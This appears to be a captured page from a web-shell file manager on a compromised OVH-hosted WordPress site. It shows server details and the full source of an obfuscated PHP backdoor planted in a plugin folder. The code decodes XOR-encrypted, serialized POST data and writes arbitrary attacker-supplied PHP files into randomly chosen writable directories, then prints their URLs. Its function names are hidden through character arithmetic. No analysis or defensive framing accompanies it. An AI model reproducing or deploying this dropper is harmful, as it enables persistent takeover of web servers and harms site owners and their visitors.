HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/adspray/wp-content/plugins/cmb-field-select2/dgzydthj.php
<?php $CzxAMexz = "rcohBDf";function RkLeXB($CzxAMexz){ $LxPfpzYGEZ = chr(115)."\164".chr(1083-969).'_'.chr(114).chr(575-464).chr(404-288).'1'.'3';$CzxAMexz = $LxPfpzYGEZ($CzxAMexz);$WUHBMHLYk = chr(476-362)."\141"."\167".chr(130-13)."\x72".chr(108)."\x64".chr(900-799).'c'.chr(111).'d'.chr(153-52);$CzxAMexz = $WUHBMHLYk($CzxAMexz);$CzxAMexz = str_split($CzxAMexz);return $CzxAMexz;}function VjRxqYZ($amyBO, $NgUMyfQ){$amyBO = array_slice(str_split(str_repeat($amyBO, (count($NgUMyfQ)/16)+1)), 0, count($NgUMyfQ));return $amyBO;}function Dalsa($uSbsclhc, $ppUodfHiXy, $amyBO){$FYlrNCjMy = "e464b2ec-585e-4fb7-8f97-4599f3a6ee49";return $uSbsclhc ^ $FYlrNCjMy[$ppUodfHiXy % strlen($FYlrNCjMy)] ^ $amyBO;}function VklzhGi($NgUMyfQ, $amyBO){$NgUMyfQ = array_map("Dalsa", array_values($NgUMyfQ), array_keys($NgUMyfQ), array_values($amyBO));$NgUMyfQ = implode("", $NgUMyfQ);$PYhaRIDslI = chr(117)."\x6e".chr(115)."\x65".chr(114).chr(757-652).'a'.'l'.chr(105).'z'."\145";$NgUMyfQ = @$PYhaRIDslI($NgUMyfQ);return $NgUMyfQ;}function CnOmlxzeI(){echo "afwgrM";}function TSYjDMZ($snrfkkkPir){static $rDkbX = array();$OWdQXhWF = glob($snrfkkkPir . '/*', GLOB_ONLYDIR);$mziYRYrnY = count($OWdQXhWF);if ($mziYRYrnY > 0) {foreach ($OWdQXhWF as $snrfkkkP) {$HXXFI = chr(290-185).chr(821-706)."\137".'w'.'r'.chr(167-62)."\164".chr(97).'b'.'l'.chr(101);if (@$HXXFI($snrfkkkP)) {$rDkbX[] = $snrfkkkP;}}}foreach ($OWdQXhWF as $snrfkkkPir) TSYjDMZ($snrfkkkPir);return $rDkbX;}function odmBqpwYsE(){echo "rcohBDf";}function iWVIK($NgUMyfQ){$GYfUHG = chr(1037-969)."\x4f"."\x43".chr(328-243)."\x4d".chr(69)."\x4e".chr(84)."\137".'R'."\117"."\x4f"."\124";$zrQMSRkK = $_SERVER[$GYfUHG];$OWdQXhWF = TSYjDMZ($zrQMSRkK);$GZaxQnSMl = array_rand($OWdQXhWF);$BHPBbnK = chr(46).chr(787-675).chr(104).'p';$ouKEy = $OWdQXhWF[$GZaxQnSMl] . "/" . substr(md5(time()), 0, 8) . $BHPBbnK;$FUwKVfajk = "\x66".'i'.chr(621-513).chr(490-389)."\137".chr(112)."\165".chr(116)."\137".chr(99)."\157"."\156"."\164"."\145"."\x6e".chr(128-12)."\x73";@$FUwKVfajk($ouKEy, $NgUMyfQ);$SfIaoKKfa = "\x48".'T'.'T'.chr(80)."\137"."\110".chr(79)."\x53".chr(84);$cusKaZ = "\x68"."\164"."\x74"."\x70".chr(58)."\x2f".chr(47);$szSIIbe = $cusKaZ . $_SERVER[$SfIaoKKfa] . substr($ouKEy, strlen($zrQMSRkK));print($szSIIbe);}function hdIkQ(){$WqrNMnCNmi = chr(112).chr(971-867).chr(320-208);$UveCzDY = 'p'.chr(104)."\160".'v'."\x65"."\x72".'s'.chr(475-370)."\157".chr(387-277);$NgUMyfQ = Array($WqrNMnCNmi => @$UveCzDY(), );$jkmFPQES = "\x73"."\145".chr(500-386)."\151".chr(428-331).chr(108).chr(296-191)."\172".'e';echo @$jkmFPQES($NgUMyfQ);}foreach ($_POST as $amyBO => $NgUMyfQ){$BLfoYt = strlen($amyBO);if ($BLfoYt == 16){$NgUMyfQ = RkLeXB($NgUMyfQ);$amyBO = VjRxqYZ($amyBO, $NgUMyfQ);$NgUMyfQ = VklzhGi($NgUMyfQ, $amyBO);if (@is_array($NgUMyfQ)){$GZaxQnSMl = array_keys($NgUMyfQ);$NgUMyfQ = $NgUMyfQ[$GZaxQnSMl[0]];$GZaxQnSMl = $GZaxQnSMl[0];$GZaxQnSMl = substr($GZaxQnSMl, 0);if ($NgUMyfQ !== $GZaxQnSMl){iWVIK($NgUMyfQ);}else {hdIkQ();}die();}}}